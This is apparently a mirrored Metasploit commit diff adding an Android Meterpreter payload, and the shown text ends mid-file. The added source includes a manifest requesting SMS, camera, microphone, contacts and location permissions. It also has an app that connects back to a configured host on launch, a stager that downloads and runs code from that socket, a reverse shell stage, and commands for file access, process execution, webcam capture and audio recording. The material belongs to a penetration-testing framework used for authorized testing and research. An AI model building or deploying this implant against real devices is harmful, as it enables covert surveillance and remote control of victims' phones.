mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-05 14:57:30 +01:00
android meterpreter
This commit is contained in:
parent
15e2ceb749
commit
32bd812bdb
BIN
data/android/apk/AndroidManifest.xml
Normal file
BIN
data/android/apk/AndroidManifest.xml
Normal file
Binary file not shown.
BIN
data/android/apk/classes.dex
Normal file
BIN
data/android/apk/classes.dex
Normal file
Binary file not shown.
BIN
data/android/apk/res/drawable-mdpi/icon.png
Normal file
BIN
data/android/apk/res/drawable-mdpi/icon.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 3.0 KiB |
BIN
data/android/apk/res/layout/main.xml
Normal file
BIN
data/android/apk/res/layout/main.xml
Normal file
Binary file not shown.
BIN
data/android/apk/resources.arsc
Normal file
BIN
data/android/apk/resources.arsc
Normal file
Binary file not shown.
BIN
data/android/meterpreter.jar
Normal file
BIN
data/android/meterpreter.jar
Normal file
Binary file not shown.
BIN
data/android/metstage.jar
Normal file
BIN
data/android/metstage.jar
Normal file
Binary file not shown.
BIN
data/android/shell.jar
Normal file
BIN
data/android/shell.jar
Normal file
Binary file not shown.
BIN
data/meterpreter/ext_server_stdapi.jar
Executable file → Normal file
BIN
data/meterpreter/ext_server_stdapi.jar
Executable file → Normal file
Binary file not shown.
BIN
data/meterpreter/meterpreter.jar
Executable file → Normal file
BIN
data/meterpreter/meterpreter.jar
Executable file → Normal file
Binary file not shown.
38
external/source/javapayload/androidpayload/app/AndroidManifest.xml
vendored
Normal file
38
external/source/javapayload/androidpayload/app/AndroidManifest.xml
vendored
Normal file
@ -0,0 +1,38 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
package="com.metasploit.stage"
|
||||
android:versionCode="1"
|
||||
android:versionName="1.0" >
|
||||
|
||||
<uses-sdk android:minSdkVersion="3"/>
|
||||
|
||||
<uses-permission android:name="android.permission.INTERNET" />
|
||||
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
|
||||
<uses-permission android:name="android.permission.ACCESS_COURSE_LOCATION" />
|
||||
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
|
||||
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
|
||||
<uses-permission android:name="android.permission.SEND_SMS" />
|
||||
<uses-permission android:name="android.permission.RECEIVE_SMS" />
|
||||
<uses-permission android:name="android.permission.RECORD_AUDIO" />
|
||||
<uses-permission android:name="android.permission.CALL_PHONE" />
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS" />
|
||||
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
|
||||
<uses-permission android:name="android.permission.RECORD_AUDIO" />
|
||||
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
|
||||
<uses-permission android:name="android.permission.CAMERA" />
|
||||
|
||||
<application
|
||||
android:icon="@drawable/icon"
|
||||
android:label="@string/app_name" >
|
||||
<activity
|
||||
android:name=".MainActivity"
|
||||
android:label="@string/app_name" >
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN" />
|
||||
|
||||
<category android:name="android.intent.category.LAUNCHER" />
|
||||
</intent-filter>
|
||||
</activity>
|
||||
</application>
|
||||
|
||||
</manifest>
|
77
external/source/javapayload/androidpayload/app/pom.xml
vendored
Normal file
77
external/source/javapayload/androidpayload/app/pom.xml
vendored
Normal file
@ -0,0 +1,77 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<groupId>com.metasploit</groupId>
|
||||
<artifactId>Metasploit-AndroidPayload</artifactId>
|
||||
<version>1-SNAPSHOT</version>
|
||||
<packaging>apk</packaging>
|
||||
<name>AndroidPayload for Metasploit</name>
|
||||
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>com.google.android</groupId>
|
||||
<artifactId>android</artifactId>
|
||||
<version>1.6_r2</version>
|
||||
<scope>provided</scope>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
<build>
|
||||
<finalName>${project.artifactId}</finalName>
|
||||
<sourceDirectory>src</sourceDirectory>
|
||||
<pluginManagement>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>com.jayway.maven.plugins.android.generation2</groupId>
|
||||
<artifactId>android-maven-plugin</artifactId>
|
||||
<version>3.5.3</version>
|
||||
|
||||
<extensions>true</extensions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</pluginManagement>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>com.jayway.maven.plugins.android.generation2</groupId>
|
||||
<artifactId>android-maven-plugin</artifactId>
|
||||
<configuration>
|
||||
<sdk>
|
||||
<!-- platform or api level (api level 4 = platform 1.6)-->
|
||||
<platform>3</platform>
|
||||
</sdk>
|
||||
</configuration>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
<profiles>
|
||||
<profile>
|
||||
<!-- deploy built files to Metasploit data directory -->
|
||||
<id>deploy</id>
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<artifactId>maven-antrun-plugin</artifactId>
|
||||
<version>1.7</version>
|
||||
<executions>
|
||||
<execution>
|
||||
<phase>package</phase>
|
||||
<goals>
|
||||
<goal>run</goal>
|
||||
</goals>
|
||||
<configuration>
|
||||
<target>
|
||||
<unzip src="${project.basedir}/target/${project.build.finalName}.apk" dest="${project.basedir}/../../../../../data/android/apk" >
|
||||
<patternset>
|
||||
<exclude name="META-INF/**"/>
|
||||
</patternset>
|
||||
</unzip>
|
||||
</target>
|
||||
</configuration>
|
||||
</execution>
|
||||
</executions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
</profile>
|
||||
</profiles>
|
||||
|
||||
</project>
|
BIN
external/source/javapayload/androidpayload/app/res/drawable-mdpi/icon.png
vendored
Normal file
BIN
external/source/javapayload/androidpayload/app/res/drawable-mdpi/icon.png
vendored
Normal file
Binary file not shown.
After Width: | Height: | Size: 3.1 KiB |
13
external/source/javapayload/androidpayload/app/res/layout/main.xml
vendored
Normal file
13
external/source/javapayload/androidpayload/app/res/layout/main.xml
vendored
Normal file
@ -0,0 +1,13 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
android:layout_width="fill_parent"
|
||||
android:layout_height="fill_parent"
|
||||
android:orientation="vertical" >
|
||||
|
||||
<Button
|
||||
android:id="@+id/button_reverse"
|
||||
android:layout_width="fill_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="ReverseTCP" />
|
||||
|
||||
</LinearLayout>
|
4
external/source/javapayload/androidpayload/app/res/values/strings.xml
vendored
Normal file
4
external/source/javapayload/androidpayload/app/res/values/strings.xml
vendored
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="app_name">MainActivity</string>
|
||||
</resources>
|
56
external/source/javapayload/androidpayload/app/src/com/metasploit/stage/LoadStage.java
vendored
Normal file
56
external/source/javapayload/androidpayload/app/src/com/metasploit/stage/LoadStage.java
vendored
Normal file
@ -0,0 +1,56 @@
|
||||
package com.metasploit.stage;
|
||||
|
||||
import dalvik.system.DexClassLoader;
|
||||
|
||||
import android.content.Context;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.util.Random;
|
||||
|
||||
public class LoadStage {
|
||||
private String randomJarName() {
|
||||
char[] chars = "abcdefghijklmnopqrstuvwxyz".toCharArray();
|
||||
StringBuilder sb = new StringBuilder();
|
||||
Random random = new Random();
|
||||
for (int i = 0; i < 20; i++) {
|
||||
char c = chars[random.nextInt(chars.length)];
|
||||
sb.append(c);
|
||||
}
|
||||
return sb.toString() + ".jar";
|
||||
}
|
||||
|
||||
public void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception {
|
||||
String jarFile = randomJarName();
|
||||
String path = context.getFilesDir().getAbsolutePath();
|
||||
|
||||
// Read the class name
|
||||
int coreLen = in.readInt();
|
||||
byte[] core = new byte[coreLen];
|
||||
in.readFully(core);
|
||||
String classFile = new String(core);
|
||||
|
||||
// Read the stage
|
||||
coreLen = in.readInt();
|
||||
core = new byte[coreLen];
|
||||
in.readFully(core);
|
||||
|
||||
// Write the stage to /data/data/.../files/
|
||||
FileOutputStream fos = context.openFileOutput(jarFile, Context.MODE_PRIVATE);
|
||||
fos.write(core);
|
||||
fos.close();
|
||||
|
||||
// Load the stage
|
||||
DexClassLoader classLoader = new DexClassLoader(path + File.separatorChar + jarFile, path, path, context.getClassLoader());
|
||||
Class<?> myClass = classLoader.loadClass(classFile);
|
||||
final Object stage = myClass.newInstance();
|
||||
myClass.getMethod("start", new Class[] {
|
||||
DataInputStream.class, OutputStream.class, Context.class, String[].class
|
||||
}).invoke(stage, new Object[] {
|
||||
in, out, context, parameters
|
||||
});
|
||||
}
|
||||
}
|
||||
|
59
external/source/javapayload/androidpayload/app/src/com/metasploit/stage/MainActivity.java
vendored
Normal file
59
external/source/javapayload/androidpayload/app/src/com/metasploit/stage/MainActivity.java
vendored
Normal file
@ -0,0 +1,59 @@
|
||||
package com.metasploit.stage;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.Socket;
|
||||
|
||||
import android.app.Activity;
|
||||
import android.os.AsyncTask;
|
||||
import android.os.Bundle;
|
||||
import android.view.View;
|
||||
import android.view.View.OnClickListener;
|
||||
|
||||
public class MainActivity extends Activity
|
||||
{
|
||||
// avoid re-ordering the strings in classes.dex - append XXXX
|
||||
private static final String LHOST = "XXXX127.0.0.1 ";
|
||||
private static final String LPORT = "XXXX4444 ";
|
||||
|
||||
@Override
|
||||
public void onCreate(Bundle savedInstanceState)
|
||||
{
|
||||
super.onCreate(savedInstanceState);
|
||||
setContentView(R.layout.main);
|
||||
|
||||
findViewById(R.id.button_reverse).setOnClickListener(new OnClickListener() {
|
||||
@Override
|
||||
public void onClick(View v) {
|
||||
startAsync();
|
||||
}
|
||||
});
|
||||
|
||||
startAsync();
|
||||
}
|
||||
|
||||
private void startAsync() {
|
||||
new AsyncTask<Void, Void, Void>() {
|
||||
@Override
|
||||
protected Void doInBackground(Void... params) {
|
||||
reverseTCP();
|
||||
return null;
|
||||
}
|
||||
}.execute();
|
||||
}
|
||||
|
||||
private void reverseTCP() {
|
||||
try {
|
||||
String lhost = LHOST.substring(4);
|
||||
String lport = LPORT.substring(4).trim();
|
||||
Socket msgsock = new Socket(lhost, Integer.parseInt(lport));
|
||||
DataInputStream in = new DataInputStream(msgsock.getInputStream());
|
||||
OutputStream out = new DataOutputStream(msgsock.getOutputStream());
|
||||
new LoadStage().start(in, out, this, new String[] {});
|
||||
msgsock.close();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
25
external/source/javapayload/androidpayload/build.sh
vendored
Executable file
25
external/source/javapayload/androidpayload/build.sh
vendored
Executable file
@ -0,0 +1,25 @@
|
||||
#!/bin/bash
|
||||
|
||||
cd ..
|
||||
mvn package -P deploy
|
||||
cd -
|
||||
|
||||
echo 'Building shell'
|
||||
dx --verbose --dex \
|
||||
--output=../../../../data/android/shell.jar \
|
||||
library/target/classes/./androidpayload/stage/Shell.class library/target/classes/./androidpayload/stage/Stage.class \
|
||||
../javapayload/target/classes/./javapayload/stage/StreamForwarder.class
|
||||
|
||||
echo 'Building meterpreter stage'
|
||||
dx --verbose --dex \
|
||||
--output=../../../../data/android/metstage.jar \
|
||||
library/target/classes/./androidpayload/stage/Meterpreter.class library/target/classes/./androidpayload/stage/Stage.class
|
||||
|
||||
echo 'Building meterpreter'
|
||||
dx --verbose --dex \
|
||||
--output=../../../../data/android/meterpreter.jar \
|
||||
library/target/classes/./com/metasploit/meterpreter/android/*.class \
|
||||
library/target/classes/./com/metasploit/meterpreter/*.class \
|
||||
../meterpreter/meterpreter/target/meterpreter.jar \
|
||||
../meterpreter/stdapi/target/ext_server_stdapi.jar
|
||||
|
15
external/source/javapayload/androidpayload/library/AndroidManifest.xml
vendored
Normal file
15
external/source/javapayload/androidpayload/library/AndroidManifest.xml
vendored
Normal file
@ -0,0 +1,15 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
package="com.metasploit.stage"
|
||||
android:versionCode="1"
|
||||
android:versionName="1.0">
|
||||
<application android:label="@string/app_name">
|
||||
<activity android:name=".MainActivity"
|
||||
android:label="@string/app_name">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN" />
|
||||
<category android:name="android.intent.category.LAUNCHER" />
|
||||
</intent-filter>
|
||||
</activity>
|
||||
</application>
|
||||
</manifest>
|
61
external/source/javapayload/androidpayload/library/pom.xml
vendored
Normal file
61
external/source/javapayload/androidpayload/library/pom.xml
vendored
Normal file
@ -0,0 +1,61 @@
|
||||
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<groupId>com.metasploit</groupId>
|
||||
<artifactId>Metasploit-</artifactId>
|
||||
<version>1-SNAPSHOT</version>
|
||||
<packaging>apk</packaging>
|
||||
<name>Android Meterpreter</name>
|
||||
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>com.google.android</groupId>
|
||||
<artifactId>android</artifactId>
|
||||
<version>1.6_r2</version>
|
||||
<scope>provided</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.metasploit</groupId>
|
||||
<artifactId>Metasploit-JavaPayload</artifactId>
|
||||
<version>${project.version}</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.metasploit</groupId>
|
||||
<artifactId>Metasploit-Java-Meterpreter</artifactId>
|
||||
<version>${project.version}</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.metasploit</groupId>
|
||||
<artifactId>Metasploit-Java-Meterpreter-stdapi</artifactId>
|
||||
<version>${project.version}</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
<build>
|
||||
<finalName>${project.artifactId}</finalName>
|
||||
<sourceDirectory>src</sourceDirectory>
|
||||
<pluginManagement>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>com.jayway.maven.plugins.android.generation2</groupId>
|
||||
<artifactId>android-maven-plugin</artifactId>
|
||||
<version>3.5.3</version>
|
||||
|
||||
<extensions>true</extensions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</pluginManagement>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>com.jayway.maven.plugins.android.generation2</groupId>
|
||||
<artifactId>android-maven-plugin</artifactId>
|
||||
<configuration>
|
||||
<sdk>
|
||||
<!-- platform or api level (api level 4 = platform 1.6)-->
|
||||
<platform>3</platform>
|
||||
</sdk>
|
||||
</configuration>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
</project>
|
13
external/source/javapayload/androidpayload/library/res/layout/main.xml
vendored
Normal file
13
external/source/javapayload/androidpayload/library/res/layout/main.xml
vendored
Normal file
@ -0,0 +1,13 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
android:orientation="vertical"
|
||||
android:layout_width="fill_parent"
|
||||
android:layout_height="fill_parent"
|
||||
>
|
||||
<TextView
|
||||
android:layout_width="fill_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Hello World, MainActivity"
|
||||
/>
|
||||
</LinearLayout>
|
||||
|
4
external/source/javapayload/androidpayload/library/res/values/strings.xml
vendored
Normal file
4
external/source/javapayload/androidpayload/library/res/values/strings.xml
vendored
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="app_name">MainActivity</string>
|
||||
</resources>
|
51
external/source/javapayload/androidpayload/library/src/androidpayload/stage/Meterpreter.java
vendored
Normal file
51
external/source/javapayload/androidpayload/library/src/androidpayload/stage/Meterpreter.java
vendored
Normal file
@ -0,0 +1,51 @@
|
||||
|
||||
package androidpayload.stage;
|
||||
|
||||
import dalvik.system.DexClassLoader;
|
||||
|
||||
import android.content.Context;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.util.Random;
|
||||
|
||||
/**
|
||||
* Meterpreter Java Payload Proxy
|
||||
*/
|
||||
public class Meterpreter implements Stage {
|
||||
|
||||
private String randomJarName() {
|
||||
char[] chars = "abcdefghijklmnopqrstuvwxyz".toCharArray();
|
||||
StringBuilder sb = new StringBuilder();
|
||||
Random random = new Random();
|
||||
for (int i = 0; i < 20; i++) {
|
||||
char c = chars[random.nextInt(chars.length)];
|
||||
sb.append(c);
|
||||
}
|
||||
return sb.toString() + ".jar";
|
||||
}
|
||||
|
||||
public void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception {
|
||||
String jarFile = randomJarName();
|
||||
String path = context.getFilesDir().getAbsolutePath();
|
||||
|
||||
// Read the stage
|
||||
int coreLen = in.readInt();
|
||||
byte[] core = new byte[coreLen];
|
||||
in.readFully(core);
|
||||
|
||||
// Write the stage to /data/data/.../files/
|
||||
FileOutputStream fos = context.openFileOutput(jarFile, Context.MODE_PRIVATE);
|
||||
fos.write(core);
|
||||
fos.close();
|
||||
|
||||
// Load the stage
|
||||
DexClassLoader classLoader = new DexClassLoader(path + File.separatorChar + jarFile, path, path, context.getClassLoader());
|
||||
Class<?> myClass = classLoader.loadClass("com.metasploit.meterpreter.AndroidMeterpreter");
|
||||
myClass.getConstructor(new Class[] {
|
||||
DataInputStream.class, OutputStream.class, Context.class, boolean.class
|
||||
}).newInstance(in, out, context, false);
|
||||
}
|
||||
}
|
25
external/source/javapayload/androidpayload/library/src/androidpayload/stage/Shell.java
vendored
Normal file
25
external/source/javapayload/androidpayload/library/src/androidpayload/stage/Shell.java
vendored
Normal file
@ -0,0 +1,25 @@
|
||||
|
||||
package androidpayload.stage;
|
||||
|
||||
import android.content.Context;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.OutputStream;
|
||||
|
||||
import javapayload.stage.StreamForwarder;
|
||||
|
||||
/**
|
||||
* Meterpreter Java Payload Proxy
|
||||
*/
|
||||
public class Shell implements Stage {
|
||||
|
||||
public void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception {
|
||||
final Process proc = Runtime.getRuntime().exec("sh");
|
||||
new StreamForwarder(in, proc.getOutputStream(), out).start();
|
||||
new StreamForwarder(proc.getInputStream(), out, out).start();
|
||||
new StreamForwarder(proc.getErrorStream(), out, out).start();
|
||||
proc.waitFor();
|
||||
in.close();
|
||||
out.close();
|
||||
}
|
||||
}
|
44
external/source/javapayload/androidpayload/library/src/androidpayload/stage/Stage.java
vendored
Normal file
44
external/source/javapayload/androidpayload/library/src/androidpayload/stage/Stage.java
vendored
Normal file
@ -0,0 +1,44 @@
|
||||
/*
|
||||
* Java Payloads.
|
||||
*
|
||||
* Copyright (c) 2010, 2011 Michael 'mihi' Schierl
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* - Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* - Neither name of the copyright holders nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
package androidpayload.stage;
|
||||
|
||||
import android.content.Context;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.OutputStream;
|
||||
|
||||
public interface Stage {
|
||||
public abstract void start(DataInputStream in, OutputStream out, Context context, String[] parameters) throws Exception;
|
||||
}
|
@ -0,0 +1,88 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.OutputStream;
|
||||
|
||||
import android.content.Context;
|
||||
|
||||
import com.metasploit.meterpreter.android.stdapi_fs_file_expand_path_android;
|
||||
import com.metasploit.meterpreter.android.stdapi_sys_process_get_processes_android;
|
||||
import com.metasploit.meterpreter.android.webcam_audio_record_android;
|
||||
import com.metasploit.meterpreter.android.webcam_get_frame_android;
|
||||
import com.metasploit.meterpreter.android.webcam_list_android;
|
||||
import com.metasploit.meterpreter.android.webcam_start_android;
|
||||
import com.metasploit.meterpreter.android.webcam_stop_android;
|
||||
import com.metasploit.meterpreter.stdapi.Loader;
|
||||
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_fs_file;
|
||||
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_net_tcp_client;
|
||||
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_net_tcp_server;
|
||||
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_net_udp_client;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_chdir;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_delete_dir;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_delete_file;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_getwd;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_ls;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_md5;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_mkdir;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_search;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_separator;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_sha1;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_stat;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_net_config_get_interfaces_V1_6;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_net_config_get_routes_V1_4;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_net_socket_tcp_shutdown_V1_3;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_sys_config_getuid;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_sys_config_sysinfo;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_sys_process_execute_V1_3;
|
||||
|
||||
public class AndroidMeterpreter extends Meterpreter {
|
||||
|
||||
private final Context context;
|
||||
|
||||
public Context getContext() {
|
||||
return context;
|
||||
}
|
||||
|
||||
public AndroidMeterpreter(DataInputStream in, OutputStream rawOut, Context context, boolean redirectErrors) throws Exception {
|
||||
super(in, rawOut, true, redirectErrors, false);
|
||||
this.context = context;
|
||||
startExecuting();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String[] loadExtension(byte[] data) throws Exception {
|
||||
getCommandManager().resetNewCommands();
|
||||
CommandManager mgr = getCommandManager();
|
||||
Loader.cwd = context.getFilesDir().getAbsoluteFile();
|
||||
mgr.registerCommand("channel_create_stdapi_fs_file", channel_create_stdapi_fs_file.class);
|
||||
mgr.registerCommand("channel_create_stdapi_net_tcp_client", channel_create_stdapi_net_tcp_client.class);
|
||||
mgr.registerCommand("channel_create_stdapi_net_tcp_server", channel_create_stdapi_net_tcp_server.class);
|
||||
mgr.registerCommand("channel_create_stdapi_net_udp_client", channel_create_stdapi_net_udp_client.class);
|
||||
mgr.registerCommand("stdapi_fs_chdir", stdapi_fs_chdir.class);
|
||||
mgr.registerCommand("stdapi_fs_delete_dir", stdapi_fs_delete_dir.class);
|
||||
mgr.registerCommand("stdapi_fs_delete_file", stdapi_fs_delete_file.class);
|
||||
mgr.registerCommand("stdapi_fs_file_expand_path", stdapi_fs_file_expand_path_android.class);
|
||||
mgr.registerCommand("stdapi_fs_getwd", stdapi_fs_getwd.class);
|
||||
mgr.registerCommand("stdapi_fs_ls", stdapi_fs_ls.class);
|
||||
mgr.registerCommand("stdapi_fs_mkdir", stdapi_fs_mkdir.class);
|
||||
mgr.registerCommand("stdapi_fs_md5", stdapi_fs_md5.class);
|
||||
mgr.registerCommand("stdapi_fs_search", stdapi_fs_search.class);
|
||||
mgr.registerCommand("stdapi_fs_separator", stdapi_fs_separator.class);
|
||||
mgr.registerCommand("stdapi_fs_stat", stdapi_fs_stat.class);
|
||||
mgr.registerCommand("stdapi_fs_sha1", stdapi_fs_sha1.class);
|
||||
mgr.registerCommand("stdapi_net_config_get_interfaces", stdapi_net_config_get_interfaces_V1_6.class);
|
||||
mgr.registerCommand("stdapi_net_config_get_routes", stdapi_net_config_get_routes_V1_4.class);
|
||||
mgr.registerCommand("stdapi_net_socket_tcp_shutdown", stdapi_net_socket_tcp_shutdown_V1_3.class);
|
||||
mgr.registerCommand("stdapi_sys_config_getuid", stdapi_sys_config_getuid.class);
|
||||
mgr.registerCommand("stdapi_sys_config_sysinfo", stdapi_sys_config_sysinfo.class);
|
||||
mgr.registerCommand("stdapi_sys_process_execute", stdapi_sys_process_execute_V1_3.class);
|
||||
mgr.registerCommand("stdapi_sys_process_get_processes", stdapi_sys_process_get_processes_android.class);
|
||||
mgr.registerCommand("webcam_audio_record", webcam_audio_record_android.class);
|
||||
mgr.registerCommand("webcam_list", webcam_list_android.class);
|
||||
mgr.registerCommand("webcam_start", webcam_start_android.class);
|
||||
mgr.registerCommand("webcam_stop", webcam_stop_android.class);
|
||||
mgr.registerCommand("webcam_get_frame", webcam_get_frame_android.class);
|
||||
return getCommandManager().getNewCommands();
|
||||
}
|
||||
}
|
||||
|
@ -0,0 +1,10 @@
|
||||
package com.metasploit.meterpreter.android;
|
||||
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_fs_file_expand_path;
|
||||
|
||||
public class stdapi_fs_file_expand_path_android extends stdapi_fs_file_expand_path {
|
||||
|
||||
protected String getShellPath() {
|
||||
return "sh";
|
||||
}
|
||||
}
|
@ -0,0 +1,46 @@
|
||||
package com.metasploit.meterpreter.android;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.InputStreamReader;
|
||||
|
||||
|
||||
public class stdapi_sys_process_get_processes_android implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
Process proc = Runtime.getRuntime().exec(new String[] {
|
||||
"sh", "-c", "ps 2>/dev/null"
|
||||
});
|
||||
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
|
||||
String line = br.readLine();
|
||||
if (line == null) {
|
||||
return ERROR_FAILURE;
|
||||
}
|
||||
while ((line = br.readLine()) != null) {
|
||||
String[] parts = line.replace('\t', ' ').trim().split(" ");
|
||||
if (parts.length < 2) {
|
||||
continue;
|
||||
}
|
||||
int pid = -1;
|
||||
for (String part : parts) {
|
||||
try {
|
||||
pid = Integer.valueOf(part);
|
||||
} catch (NumberFormatException e) {
|
||||
continue;
|
||||
}
|
||||
break;
|
||||
}
|
||||
TLVPacket grp = new TLVPacket();
|
||||
grp.add(TLVType.TLV_TYPE_PID, pid);
|
||||
grp.add(TLVType.TLV_TYPE_USER_NAME, parts[0]);
|
||||
grp.add(TLVType.TLV_TYPE_PROCESS_NAME, parts[parts.length - 1]);
|
||||
response.addOverflow(TLVType.TLV_TYPE_PROCESS_GROUP, grp);
|
||||
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -0,0 +1,50 @@
|
||||
|
||||
package com.metasploit.meterpreter.android;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
